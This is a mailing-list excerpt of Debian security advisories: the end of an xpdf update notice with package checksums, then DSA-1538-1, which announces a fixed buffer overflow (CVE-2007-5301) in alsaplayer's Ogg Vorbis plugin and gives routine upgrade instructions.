http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_powerpc.deb Size/MD5 checksum: 834210 a0293d2c13cce4de9f483e678d344581 s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_s390.deb Size/MD5 checksum: 1365510 df6cb0028e22f051dabf649f11b7987d http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_s390.deb Size/MD5 checksum: 753070 b4fffe635d26e9951bc772f4ee9e44a2 sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_sparc.deb Size/MD5 checksum: 750702 b327ef2ff5e022b473b5d9865adcc27a http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_sparc.deb Size/MD5 checksum: 1364114 d1bab9a2a555a26090a22a1c533abd9f These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFH8/lbYrVLjBFATsMRAiAuAJ9GagOaLXQDHgT7kceFBZGweaJc0wCeOJ8o mqdpoPu+W2jmYjwv9WqQkhg= =3qKp -----END PGP SIGNATURE----- From devin at debian.org Fri Apr 4 21:27:22 2008 From: devin at debian.org (Devin Carraway) Date: Fri, 4 Apr 2008 22:27:22 +0200 (CEST) Subject: [Full-disclosure] [SECURITY] [DSA 1538-1] New alsaplayer packages fix arbitrary code execution Message-ID: <20080404202722.407F7326A99@morgana.loeki.tv> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1538-1 security at debian.org http://www.debian.org/security/ Devin Carraway April 04, 2008 http://www.debian.org/security/faq - ------------------------------------------------------------------------ Package : alsaplayer Vulnerability : buffer overrun Problem type : local (remote) Debian-specific: no CVE Id(s) : CVE-2007-5301 Debian Bug : 446034 Erik Sj??lund discovered a buffer overflow vulnerability in the Ogg Vorbis input plugin of the alsaplayer audio playback application. Successful exploitation of this vulnerability through the opening of a maliciously-crafted Vorbis file could lead to the execution of arbitrary code. For the stable distribution (etch), the problem has been fixed in version 0.99.76-9+etch1. For the unstable distribution (sid), the problem was fixed in version 0.99.80~rc4-1. We recommend that you upgrade your alsaplayer packages. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. 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